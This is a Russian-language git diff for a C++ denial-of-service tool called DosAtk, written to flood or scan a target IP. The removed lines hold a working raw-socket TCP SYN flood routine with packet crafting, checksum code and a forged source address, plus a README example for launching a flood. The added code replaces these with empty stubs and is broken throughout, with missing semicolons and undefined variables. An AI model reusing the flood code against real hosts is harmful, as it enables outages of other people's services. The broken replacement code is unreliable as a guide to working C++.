refactor: all

.gitignore

@@ -1,4 +1 @@
-.vscode
+.vscode
-src/test.cpp
-test
-DosAtk

README.md

@@ -1,10 +1,7 @@
 # Как жить?
 
-Регаемся на данном сайте, форкаем либу, пушим в свой форк и создаём merge request.
-Либо просим у Серафима контрибьютора и сразу делаем ветку где надо (так даже лучше, не придётся мучаться с мержем из форка)
-
 ```
-git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий (замените на свой форк!)
+git clone https://gitea.serafimdev.com/serafim/dos # Клонируем репозиторий
 git checkout -b my_dns # Создаём ветку для реализации модуля my_dns
 git add * # Добавляем написанный код в комит
 git commit -m 'Написал код' # Комитим в локальную ветку
@@ -12,24 +9,6 @@ git push origin my_dns # Пушим свою ветку в репозитори
 # Теперь в интерфейсе https://gitea.serafimdev.com/serafim/dos создаём пул реквест и пишем мне в тг
 ```
 
-# Компиляция
+Для компиляции:
-
+g++ DosAtk.cpp -lcurl
-Для компиляции: `./build.sh` (после компиляции запускает файл), либо ручками: `g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto`
+Если ошибка отсутствия заголовочного файла "curl.h", то нужно установить: sudo apt-get install libcurl4-openssl-dev
-Если ошибка отсутствия заголовочных файлов, то нужно установить:
-
-```
-sudo apt-get install libcurl4-openssl-dev
-sudo apt-get install libssl-dev
-```
-
-# Запуск
-
-Пример запуска:
-
-```
-sudo ./DosAtk -a flood -i 127.0.0.1 -p 800   # запуск заранее скомпилированной программы
-sudo ./build.sh -a flood -i 127.0.0.1 -p 800 # скомипилирует и запустит программу
-```
-
-Запускается только на Линухе!
-

build.sh

@@ -1,4 +1,2 @@
-#!/bin/sh
+g++ src/DosAtk.cpp -o DosAtk -lcurl
-set -e  # if compilation fail next command will not be executed, so older version of programm will not be launched
-g++ src/DosAtk.cpp -o DosAtk -lcurl -lssl -lcrypto
 ./DosAtk "$@"

src/DosAtk.cpp

@@ -1,40 +1,20 @@
-/*
+// ====== DCL библиотеки ====== //
-██████╗  ██████╗██╗         ██╗     ██╗██████╗ 
-██╔══██╗██╔════╝██║         ██║     ██║██╔══██╗
-██║  ██║██║     ██║         ██║     ██║██████╔╝
-██║  ██║██║     ██║         ██║     ██║██╔══██╗
-██████╔╝╚██████╗███████╗    ███████╗██║██████╔╝
-╚═════╝  ╚═════╝╚══════╝    ╚══════╝╚═╝╚═════╝    
-*/
 
-#include <cstring>          // Работа со строками и памятью (memset, memcpy)
+#include <iostream>          // Для работы с вводом-выводом (cout, cin и др.)
-#include <unistd.h>         // POSIX API (close, read, write)
+#include <stdlib.h>          // Стандартная библиотека C (функции работы с памятью, преобразования типов и др.)
-#include <sys/socket.h>     // Сокеты (socket, setsockopt, sendto)
+#include <string>            // Для работы со строками string
-#include <netinet/ip.h>     // Структура IP-заголовка (struct iphdr)
+#include <chrono>            // Для работы с временем и таймерами
-#include <netinet/tcp.h>    // Структура TCP-заголовка (struct tcphdr)
+#include <ctime>             // Функции работы со временем C (time_t, localtime и др.)
-#include <arpa/inet.h>      // Преобразование IP-адресов (inet_addr, inet_pton)
+#include <iomanip>           // Для форматированного вывода (setw, setprecision и др.)
-#include <net/if.h>         // Определение констант сетевых интерфейсов (IFNAMSIZ)
+#include <getopt.h>          // Для разбора аргументов командной строки
-#include <sys/ioctl.h>      // Управление сокетами и интерфейсами (ioctl)
+#include <cctype>            // Функции для работы с символами (isdigit, isalpha и др.)
-#include <fcntl.h>          // Флаги файловых дескрипторов (fcntl)
+#include <curl/curl.h>       // Библиотека libcurl для HTTP-запросов (отправка в Telegram)
-#include <string>           // Строки
-#include <chrono>           // Для работы с временем
-#include <getopt.h>         // Для struct option и getopt_long()
-#include <curl/curl.h>      // Основной заголовок libcurl
-#include <iostream>         // стандартный input output
-#include <iomanip>
-#include <nlohmann/json.hpp>
 
-/*
+// ====== DCL глобальные переменные ====== //
-██████╗  ██████╗██╗         ██╗   ██╗ █████╗ ██████╗ ███████╗
-██╔══██╗██╔════╝██║         ██║   ██║██╔══██╗██╔══██╗██╔════╝
-██║  ██║██║     ██║         ██║   ██║███████║██████╔╝███████╗
-██║  ██║██║     ██║         ╚██╗ ██╔╝██╔══██║██╔══██╗╚════██║
-██████╔╝╚██████╗███████╗     ╚████╔╝ ██║  ██║██║  ██║███████║
-╚═════╝  ╚═════╝╚══════╝      ╚═══╝  ╚═╝  ╚═╝╚═╝  ╚═╝╚══════
-*/
 
-int argc;                                                // Количество аргументов при вызове программы
+// Параметры
-char **argv;                                             // Массив строк с агрументами
+int argc                                                // Количество аргументов при вызове программы
+char **argv                                             // Массив строк с агрументами
 std::string attack_type;                                // Тип атаки: scan или syn
 std::string domain;                                     // Доменное Имя
 std::string ip;                                         // Ip жертвы
@@ -42,25 +22,20 @@ std::string port;                                       // Порт для syn
 std::string log_file;                                   // Путь к директории для логов
 std::string telegram_id;                                // Telegram ID для уведомлений
 std::string telegram_token;                             // Токен бота для уведомлений
+
+// Статистика
 int n_ok_requests;                                      // Количество успешных запросов
 int n_fail_requests;                                    // Количество не успешных запросов
 std::chrono::system_clock::time_point start_timestamp;  // Начальное время работы
+// Переменные
 std::string log_msg;                                    // Сообщение, которое будет записано в лог-файл
 std::string fin_msg;                                    // Сообщение, которое будет выведено в консоль пользователю
 std::string msg;                                        // Сообщение, которое будет отправлено в телеграм 
 int status;                                             // Статус работы программы
-// int log_status;
 
-/*
+// ====== DCL процедуры ====== //
-██████╗  ██████╗██╗         ██████╗ ██████╗  ██████╗  ██████╗███████╗██████╗ ██╗   ██╗██████╗ ███████╗███████╗
-██╔══██╗██╔════╝██║         ██╔══██╗██╔══██╗██╔═══██╗██╔════╝██╔════╝██╔══██╗██║   ██║██╔══██╗██╔════╝██╔════╝
-██║  ██║██║     ██║         ██████╔╝██████╔╝██║   ██║██║     █████╗  ██║  ██║██║   ██║██████╔╝█████╗  ███████╗
-██║  ██║██║     ██║         ██╔═══╝ ██╔══██╗██║   ██║██║     ██╔══╝  ██║  ██║██║   ██║██╔══██╗██╔══╝  ╚════██║
-██████╔╝╚██████╗███████╗    ██║     ██║  ██║╚██████╔╝╚██████╗███████╗██████╔╝╚██████╔╝██║  ██║███████╗███████║
-╚═════╝  ╚═════╝╚══════╝    ╚═╝     ╚═╝  ╚═╝ ╚═════╝  ╚═════╝╚══════╝╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚══════╝
-*/
 
-int my_check_params()
+void my_check_params()
 {
     // Данная процедура записывает в глобальные переменные параметры 
     // (attack_type, domain, ip, port, log_file, telegram_id, telegram_token) проводимой атаки, поступившие при вызове программы
@@ -77,30 +52,31 @@ int my_check_params()
 
     //Объявление
     std::chrono::milliseconds ms;   // Количество миллисекунд от целой секунды времени начала выполнения программы
-    std::time_t now_time_t; // текущее время
     int opt;                        // Прочитанный параметр
     const char* short_options;      // Сокращения для параметров
-    struct option long_options[10];   // Структура, описывающая пеобходимые программе параметры
+    struct option long_options[];   // Структура, описывающая пеобходимые программе параметры
     int i;                          // Счётчик для цикла
 
     // Инициализация
     ms = std::chrono::duration_cast<std::chrono::milliseconds>(start_timestamp.time_since_epoch()) % 1000;
     opt = -1;
     short_options = "a:d:i:p:l:t:b:h";   
-    long_options[0] = {"attack",    required_argument, NULL, 'a'};
+    long_options = 
-    long_options[1] = {"domain",    required_argument, NULL, 'd'};
+    {
-    long_options[2] = {"ip",        required_argument, NULL, 'i'};
+        {"attack",    required_argument, NULL, 'a'},
-    long_options[3] = {"port",      required_argument, NULL, 'p'};
+        {"domain",    required_argument, NULL, 'd'},
-    long_options[4] = {"log",       required_argument, NULL, 'l'};
+        {"ip",        required_argument, NULL, 'i'},
-    long_options[5] = {"telegram",  required_argument, NULL, 't'};
+        {"port",      required_argument, NULL, 'p'},
-    long_options[6] = {"token",     required_argument, NULL, 'b'};
+        {"log",       required_argument, NULL, 'l'},
-    long_options[7] = {"help",      no_argument,       NULL, 'h'};
+        {"telegram",  required_argument, NULL, 't'},
-    long_options[8] = {NULL,     0,                 NULL,  0};
+        {"token",     required_argument, NULL, 'b'},
+        {"help",      no_argument,       NULL, 'h'},
+        {NULL,     0,                 NULL,  0}
+    };
     i = 0;
 
     printf("begin my_check_params"); // debug
 
-    now_time_t = std::time(nullptr);
     // Выводим информацию о времени запуска программы
     printf("Starting DosAtk at %04d-%02d-%02d %02d:%02d:%02d.%03ld\n",  // Шаблон для вывода
         std::localtime(&now_time_t)->tm_year + 1900,                    // Год (с 1900)
@@ -137,50 +113,56 @@ int my_check_params()
             telegram_token = optarg;  // Сохраняем токен бота Telegram
             break;
         case 'h':  // Обработка опции -h (--help)
-            return 0;  // Устанавливаем статус "показать справку"
+            status = 0;  // Устанавливаем статус "показать справку"
             break;
         case '?':  // Обработка неизвестной опции
-            return -101;  // Устанавливаем статус "неизвестная опция"
+            status = -101;  // Устанавливаем статус "неизвестная опция"
             break;
         }
     }
 
-    if (status != 0 && status != -101) // Проверяем корректность введенных параметров
+    // Проверяем корректность введенных параметров
+    if (status != 0 && status != -101)
     {
-        if (attack_type != "flood" && attack_type != "scan") { // Проверяем валидность типа атаки
+        // Проверяем валидность типа атаки
-            return -1;  // Некорректный тип атаки
+        if (attack_type != "flood" && attack_type != "scan") {
+            status = -1;  // Некорректный тип атаки
         }
-        else if (attack_type == "scan" && domain.empty() && ip.empty()) { // Для port scanning нужен домен или IP
+        // Для сканирования портов должна быть указана цель (домен или IP)
-            return -10;  // Не указана цель для сканирования
+        else if (attack_type == "scan" && domain.empty() && ip.empty()) {
+            status = -10;  // Не указана цель для сканирования
         }
-        else if (attack_type == "flood" && domain.empty() && ip.empty()) { // Для флуд-атаки нужен домен или IP
+        // Для флуд-атаки должна быть указана цель (домен или IP)
-            return -20;  // Не указана цель для флуда
+        else if (attack_type == "flood" && domain.empty() && ip.empty()) {
+            status = -20;  // Не указана цель для флуда
         }
-        else if ((!telegram_id.empty() && telegram_token.empty()) ||    // Если указан telegram token то нужен и id
+        // Проверяем, что если указан Telegram ID или токен, то должны быть указаны оба
-                (telegram_id.empty() && !telegram_token.empty())) {     // Если указан telegram id то нужен и token
+        else if ((!telegram_id.empty() && telegram_token.empty()) || 
-            return -600;  // Неполные данные для Telegram
+                (telegram_id.empty() && !telegram_token.empty())) {
+            status = -600;  // Неполные данные для Telegram
         }
-        else if (attack_type == "scan") { // Если все проверки пройдены и тип атаки - сканирование
+        // Если все проверки пройдены и тип атаки - сканирование
-            return 1;  // Валидные параметры для сканирования
+        else if (attack_type == "scan") {
+            status = 1;  // Валидные параметры для сканирования
         }
-        
+        // Если все проверки пройдены и тип атаки - флуд
-        else if (attack_type == "flood") { // Если все проверки пройдены и тип атаки - флуд
+        else if (attack_type == "flood") {
-            return 2;  // Валидные параметры для флуда
+            status = 2;  // Валидные параметры для флуда
         }
     }
 
     printf("end my_check_params status: %i\n", status); // debug
-
-    return -101;
 }
 
 void my_diag()
 {
     // Данная функция вызывается в случае ошибки на каком-то этапе и на основании поступившего кода, 
     // формирует сообщение с описанием произошедшей ошибки
+
     printf("begin my_diag, status: %i\n", status); // debug
 
-    switch (status) // Выбор сообщения в зависимости от кода ошибки
+    // Выбор сообщения в зависимости от кода ошибки
+    switch (status)
     {
     case 0: // Специальный случай - вывод справки по использованию
         printf("Usage: ./DosAtk [options]\n"
@@ -211,24 +193,15 @@ void my_diag()
         break;
     }
 
+    // Отладочный вывод - завершение работы функции
     printf("end my_diag\n"); // debug
 }
 
 // Функция для экранирования специальных символов в строке перед использованием в JSON
 // Принимает: const std::string& s - исходная строка для обработки
 // Возвращает: std::string - строка с экранированными спецсимволами
-std::string escape_json(const std::string& s)
+std::string escape_json(const std::string& s) {
-{
-    // Возвращаем строку с экранированными символами
-
-    // ===== Объявления =====
     std::string result; // Результирующая строка с экранированными символами
-    char c;             // Символ в строке
-
-    // ===== Инициализация =====
-    result = "";
-    c = '\0'; // пустой символ
-
     // Проходим по каждому символу входной строки
     for (char c : s) {
         // Обрабатываем специальные символы JSON
@@ -243,25 +216,17 @@ std::string escape_json(const std::string& s)
             default:   result += c;     break; // Все остальные символы добавляем как есть
         }
     }
-
     return result; // Возвращаем обработанную строку
 }
 
-bool is_numeric(const std::string& s)
+bool is_numeric(const std::string& s) {
-{
     // Проверка, является ли строка числом (включая отрицательные)
 
-    // ===== Объявления =====
     size_t start; // Индекс, с которого начинать проверку цифр
-    size_t i;
-
-    // ===== Инициализация =====
-    start = 0;
-    i = 0;
-
     if (s.empty()) return false; // Пустая строка не может быть числом
     
     // Проверяем наличие знака минус в начале
+    start = 0;
     if (s[0] == '-') {
         // Строка из одного минуса не является числом
         if (s.size() == 1) return false;
@@ -269,17 +234,16 @@ bool is_numeric(const std::string& s)
         start = 1;
     }
     // Проверяем все оставшиеся символы на цифры
-    for (i = start; i < s.size(); ++i) {
+    for (size_t i = start; i < s.size(); ++i) {
         // Найден нецифровой символ - строка не число
         if (!isdigit(s[i])) return false;
     }
-
     // Все проверки пройдены - строка является числом
     return true;
 }
 
-void my_msg()
+void my_msg() {
-{
+
     printf("begin my_msg"); // debug
 
     // Объявление
@@ -298,8 +262,8 @@ void my_msg()
     chat_id_field = is_numeric(telegram_id) ? "\"chat_id\": " + telegram_id : "\"chat_id\": \"" + telegram_id + "\"";
     json_data = "{" + chat_id_field + ", \"text\": \"" + escaped_msg + "\"}"; // Сборка JSON-запроса
     http_code = 0;
-    res = CURLE_OK;
+    res = nullptr;
-
+    
     // Проверка наличия обязательных параметров Telegram
     if (telegram_token.empty() || telegram_id.empty())
     {
@@ -360,12 +324,11 @@ void my_msg()
     printf("end my_msg"); // debug
 }
 
-int my_log()
+void my_log()
 {
     // Данная функция записывает в файл лога сообщение
     printf("start my_log"); // debug
     printf("end my_log"); // debug
-    return 0;
 }
 
 void my_fin()
@@ -374,7 +337,7 @@ void my_fin()
     
     // Объявления
     time_t end_time_t;                      // Время завершения выполненя программы
-    std::chrono::milliseconds duration;         // Длительность выполнения программы
+    std::chrono::duration duration;         // Длительность выполнения программы
     std::chrono::hours hours;               // Компонента часов времени завершения
     std::chrono::minutes minutes;           // Компонента минут времени завершения
     std::chrono::seconds seconds;           // Компонента секунд времени завершения
@@ -382,12 +345,12 @@ void my_fin()
 
     // Иницаализация
     end_time_t = std::chrono::system_clock::to_time_t(std::chrono::system_clock::now());
-    duration = std::chrono::duration_cast<std::chrono::milliseconds>(std::chrono::system_clock::now() - start_timestamp); // Вычисляем продолжительность работы программы
+    duration = end_timestamp - start_timestamp; // Вычисляем продолжительность работы программы
     hours = std::chrono::duration_cast<std::chrono::hours>(duration); // Разбиваем продолжительность на компоненты
     minutes = std::chrono::duration_cast<std::chrono::minutes>(duration % std::chrono::hours(1)); // Разбиваем продолжительность на компоненты
     seconds = std::chrono::duration_cast<std::chrono::seconds>(duration % std::chrono::minutes(1)); // Разбиваем продолжительность на компоненты
     milliseconds = std::chrono::duration_cast<std::chrono::milliseconds>(duration % std::chrono::seconds(1));  // Разбиваем продолжительность на компоненты
-    double total_seconds;
+    double total_seconds
 
     printf("begin my_diag\n"); // debug
 
@@ -425,245 +388,26 @@ void my_fin()
     std::exit(status);
 }
 
-int my_tcp_syn() {
+void my_dns()
-    /*
-    * Отправляет TCP SYN запрос на указанный IP и порт
-    *   status:
-    *     0   - запрос успешно отправлен (атака продолжается)
-    *     2   - достигнуто максимальное количество запросов (1000)
-    *    -201 - ошибка создания raw-сокета
-    *    -202 - ошибка отправки SYN-пакета
-    */
-    printf("start my_tcp_syn"); // debug
-    
-    // === Объявление локальных переменных ===
-    int sock;           // Основной raw-сокет для отправки пакетов
-    int one;            // Флаг для setsockopt
-    // Структуры для адресов
-    struct sockaddr_in target_addr;  // Адрес цели
-    // Параметры подключения
-    uint16_t target_port;       // Порт цели (в сетевом порядке байт)
-    // Структуры заголовков
-    struct iphdr ip_header;    // IP-заголовок пакета
-    struct tcphdr tcp_header;  // TCP-заголовок пакета
-    // Псевдозаголовок для контрольной суммы
-    struct {
-        uint32_t saddr;
-        uint32_t daddr;
-        uint8_t zero;
-        uint8_t protocol;
-        uint16_t tcp_len;
-    } pseudo_header;
-    // Буферы данных
-    char temp_buf[sizeof(pseudo_header) + sizeof(tcphdr)]; // Буфер для контрольной суммы
-    char packet[sizeof(iphdr) + sizeof(tcphdr)];          // Итоговый пакет
-    
-    // Переменные для встроенного расчета контрольной суммы
-    uint16_t *checksum_ptr;
-    unsigned long checksum_sum;
-    uint8_t *checksum_byte_ptr;
-    int checksum_len;
-
-    // === Инициализация переменных ===
-    sock = -1;
-    one = 1;
-    memset(&target_addr, 0, sizeof(target_addr));
-    target_port = htons(atoi(port.c_str()));
-    memset(&ip_header, 0, sizeof(ip_header));
-    memset(&tcp_header, 0, sizeof(tcp_header));
-    memset(&pseudo_header, 0, sizeof(pseudo_header));
-    memset(temp_buf, 0, sizeof(temp_buf));
-    memset(packet, 0, sizeof(packet));
-    checksum_ptr = 0;
-    checksum_sum = 0;
-    checksum_len = 0;
-
-    // === Основная логика процедуры ===
-    // 1. Создание raw-сокета
-    if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
-        return -201;
-    }
-
-    // 2. Установка опции IP_HDRINCL
-    setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &one, sizeof(one));
-
-    // 3. Настройка адреса цели
-    memset(&target_addr, 0, sizeof(target_addr));
-    target_addr.sin_family = AF_INET;
-    if (inet_pton(AF_INET, ip.c_str(), &target_addr.sin_addr) <= 0) {
-        close(sock);
-        return -202;
-    }
-
-    // 4. Формирование IP заголовка
-    memset(&ip_header, 0, sizeof(ip_header));
-    ip_header.ihl = 5;
-    ip_header.version = 4;
-    ip_header.tot_len = htons(sizeof(iphdr) + sizeof(tcphdr));
-    ip_header.ttl = 64;
-    ip_header.protocol = IPPROTO_TCP;
-    ip_header.saddr = inet_addr("127.0.0.1");
-    ip_header.daddr = inet_addr(ip.c_str());
-
-    // 5. Формирование TCP заголовка
-    memset(&tcp_header, 0, sizeof(tcphdr));
-    tcp_header.source = htons(12345);
-    tcp_header.dest = target_port;
-    tcp_header.seq = htonl(123456);
-    tcp_header.doff = 5;
-    tcp_header.syn = 1;
-    tcp_header.window = htons(5840);
-
-    // 6. Расчет контрольной суммы
-    pseudo_header = {
-        .saddr = ip_header.saddr,
-        .daddr = ip_header.daddr,
-        .zero = 0,
-        .protocol = IPPROTO_TCP,
-        .tcp_len = htons(sizeof(tcphdr))
-    };
-    memcpy(temp_buf, &pseudo_header, sizeof(pseudo_header));
-    memcpy(temp_buf + sizeof(pseudo_header), &tcp_header, sizeof(tcphdr));
-
-    // Встроенный расчет контрольной суммы
-    checksum_ptr = (uint16_t *)temp_buf;
-    checksum_len = sizeof(temp_buf);
-    
-    while (checksum_len > 1) {
-        checksum_sum += *checksum_ptr++;
-        checksum_len -= 2;
-    }
-    
-    if (checksum_len == 1) {
-        checksum_byte_ptr = (uint8_t *)checksum_ptr;
-        checksum_sum += *checksum_byte_ptr;
-    }
-    
-    checksum_sum = (checksum_sum >> 16) + (checksum_sum & 0xFFFF);
-    tcp_header.check = (unsigned short)(~checksum_sum);
-
-    // 7. Сборка пакета
-    memcpy(packet, &ip_header, sizeof(iphdr));
-    memcpy(packet + sizeof(iphdr), &tcp_header, sizeof(tcphdr));
-
-    // 8. Отправка пакета
-    if (sendto(sock, packet, sizeof(packet), 0, 
-              (struct sockaddr *)&target_addr, sizeof(target_addr)) < 0) {
-        n_fail_requests++;
-        return -202;
-    } else {
-        n_ok_requests++;
-    }
-
-    // 9. Проверка завершения
-    if ((n_ok_requests + n_fail_requests) >= 1000) {
-        return 2;
-    }
-
-
-    close(sock);
-    printf("end my_tcp_syn"); // debug
-    return 0;
-}
-
-int my_udp() {
-    return 0;
-}
-
-// Callback для записи ответа от сервера
-size_t WriteCallback(void* contents, size_t size, size_t nmemb, std::string* output) {
-    size_t total_size = size * nmemb;
-    output->append((char*)contents, total_size);
-    return total_size;
-}
-
-int my_dns()
 {
     // Данная процедура сопостовляет доменное имя с IP 
-    // Обрабатываем перменнкю domain, записываем в ip
-    // -4001 - ошибка инициализации CURL
-    // -4002 - ошибка запроса CURL
-    // -4003 - ошибка парсинга JSON
-
-    CURL* curl;                 // объект curl
-    CURLcode res;               // результат выполнения запроса
-    std::string response;       // ответ DNS сервера
-    std::string url;            // API DNS сервера
-    struct curl_slist* headers; // Заголовки
-    nlohmann::json json_data;   // Ответ от dns сервера
-    int status;                 // Состояние работы процедуры
-    
-    status = 0;
-    curl = 0; 
-    res = {};
-    response = "";
-    url = "";
-    headers = {0};
-    json_data = {0};
-
     printf("start my_dns"); // debug
-
-    // Инициализируем curl
-    curl = curl_easy_init();
-    if (!curl) {
-        status = -4001;
-    }
-    else {
-        // Формируем URL для Cloudflare DoH
-        url = "https://1.1.1.1/dns-query?name=" + domain + "&type=A";
-
-        // Настройки CURL
-        curl_easy_setopt(curl, CURLOPT_URL, url.c_str());
-        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
-        curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
-        curl_easy_setopt(curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_2_0); // HTTP/2
-        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 1L); // Проверка SSL
-
-        // Устанавливаем заголовок
-        headers = curl_slist_append(headers, "accept: application/dns-json");
-        curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
-
-        // Выполняем запрос
-        res = curl_easy_perform(curl);
-        if (res != CURLE_OK) {
-            status = -4002;
-        } else {
-            // Парсим JSON и извлекаем IP
-            try {
-                json_data = nlohmann::json::parse(response);
-                if (json_data.contains("Answer")) {
-                    for (const nlohmann::json& record : json_data["Answer"]) {
-                        if (record["type"] == 1) { // A-запись (IPv4) (Это же и проверка валидного IP)
-                            ip = record["data"].get<std::string>();
-                            break;
-                        }
-                    }
-                }
-            } catch (const std::exception& e) {
-                status = -4003;
-            }
-        }
-    }
-
-    // Освобождаем ресурсы
-    curl_slist_free_all(headers);
-    curl_easy_cleanup(curl);
-    
-    if (!status) {
-        status = 1;
-    }
-
     printf("end my_dns"); // debug
-    return status;
 }
 
-/*
+void my_tcp_syn()
-█████  █████     ██   ███      █████  ████    ███   █████  ████    ███   █   █  █   █  █   █  
+{
-  █    █        █ █  █   █     █   █  █   █  █   █  █      █   █  █   █  ██ ██  ██ ██  █   █
+    // Данная процедура выполняет TCP SYN Flood атаку
-  █    ████    █  █  █   █     █   █  ████   █   █  █      ████   █████  █ █ █  █ █ █  ███ █
+    printf("start my_tcp_syn"); // debug
-  █    █      █   █  █   █     █   █  █      █   █  █      █      █   █  █   █  █   █  █ █ █
+    printf("end my_tcp_syn"); // debug
-  █    █████  █   █   ███      █   █  █       ███   █      █      █   █  █   █  █   █  ███ █
+}
-*/
+
+void my_udp()
+{
+    // Данная процедура выполняет UDP Flood (port scanning) атаку
+    printf("start my_udp"); // debug
+    printf("end my_udp"); // debug
+}
 
 int main(int arg_ctr, char **arg_ptr)
 {
@@ -685,18 +429,24 @@ int main(int arg_ctr, char **arg_ptr)
     std::string msg;
     int status = 0;
 
-    status = my_check_params(); // Проверяем параметры командной строки
+    // Тело программы
+
+    // Проверяем параметры командной строки
+    my_check_params();
     
-    
+    // Обрабатываем результат проверки параметров
-    switch (status) // Обрабатываем результат проверки параметров
+    switch (status)
     {
     case 1: // Режим сканирования портов (UDP)
-        status = my_dns(); // Пытаемся разрешить DNS (если указано доменное имя)
+        // Пытаемся разрешить DNS (если указано доменное имя)
+        my_dns();
+        
         if (status == 0) // Если DNS разрешен успешно
         {
-            while (true) // Запускаем цикл UDP-атаки
+            // Запускаем цикл UDP-атаки
+            while (true)
             {
-                status = my_udp();
+                my_udp()
                 if (status == 2) // Код завершения атаки
                 {
                     break;
@@ -704,7 +454,7 @@ int main(int arg_ctr, char **arg_ptr)
                 else if (status < 0) // Обработка ошибок
                 {
                     my_diag(); // Выводим диагностику
-                    status = my_log();  // Пытаемся записать в лог
+                    my_log();  // Пытаемся записать в лог
                     if (status == 1) // Если записать лог не удалось
                     {
                         my_msg(); // Отправляем сообщение
@@ -719,13 +469,13 @@ int main(int arg_ctr, char **arg_ptr)
         else if (status == 1) // Ошибка DNS-разрешения
         {
             my_diag(); // Выводим ошибку
-            status = my_log(); // Логируем ошибку
+            my_log(); // Логируем ошибку
             
             if (status == 0) // Если лог получилось записать
             {
                 my_fin(); // Просто завершаем программу
             }
-            else if (status == 1) // Если лог не удалось записать
+            else if (log_status == 1) // Если лог не удалось записать
             {
                 my_msg(); // Отправляем сообщение
                 my_fin(); // Завершаем программу
@@ -734,14 +484,14 @@ int main(int arg_ctr, char **arg_ptr)
         break;
     case 2: // Режим SYN-флуда (TCP)
         // Пытаемся разрешить DNS (если указано доменное имя)
-        status = my_dns();
+        my_dns();
             
         if (status == 0) // Если DNS разрешен успешно
         {
             // Запускаем цикл UDP-атаки
             while (true)
             {
-                status = my_tcp_syn();
+                my_tcp_syn()
                 if (status == 2) // Код завершения атаки
                 {
                     break;
@@ -749,7 +499,7 @@ int main(int arg_ctr, char **arg_ptr)
                 else if (status < 0) // Обработка ошибок
                 {
                     my_diag(); // Выводим диагностику
-                    status = my_log();  // Пытаемся записать в лог
+                    my_log();  // Пытаемся записать в лог
                     if (status == 1) // Если записать лог не удалось
                     {
                         my_msg(); // Отправляем сообщение
@@ -764,13 +514,13 @@ int main(int arg_ctr, char **arg_ptr)
         else if (status == 1) // Ошибка DNS-разрешения
         {
             my_diag(); // Выводим ошибку
-            status = my_log(); // Логируем ошибку
+            my_log(); // Логируем ошибку
             
             if (status == 0) // Если лог получилось записать
             {
                 my_fin(); // Просто завершаем программу
             }
-            else if (status == 1) // Если лог не удалось записать
+            else if (log_status == 1) // Если лог не удалось записать
             {
                 my_msg(); // Отправляем сообщение
                 my_fin(); // Завершаем программу
@@ -784,7 +534,7 @@ int main(int arg_ctr, char **arg_ptr)
     case -101:
     case -600:
         my_diag(); // Выводим диагностику
-        status = my_log(); // Логируем событие
+        my_log(); // Логируем событие
         
         if (status == 0) // Без уведомления
         {
@@ -798,5 +548,5 @@ int main(int arg_ctr, char **arg_ptr)
         break;
     }
     
-    return 0; // Возвращаем код успешного завершения 
+    return 0; // Возвращаем код успешного завершения
-}
+}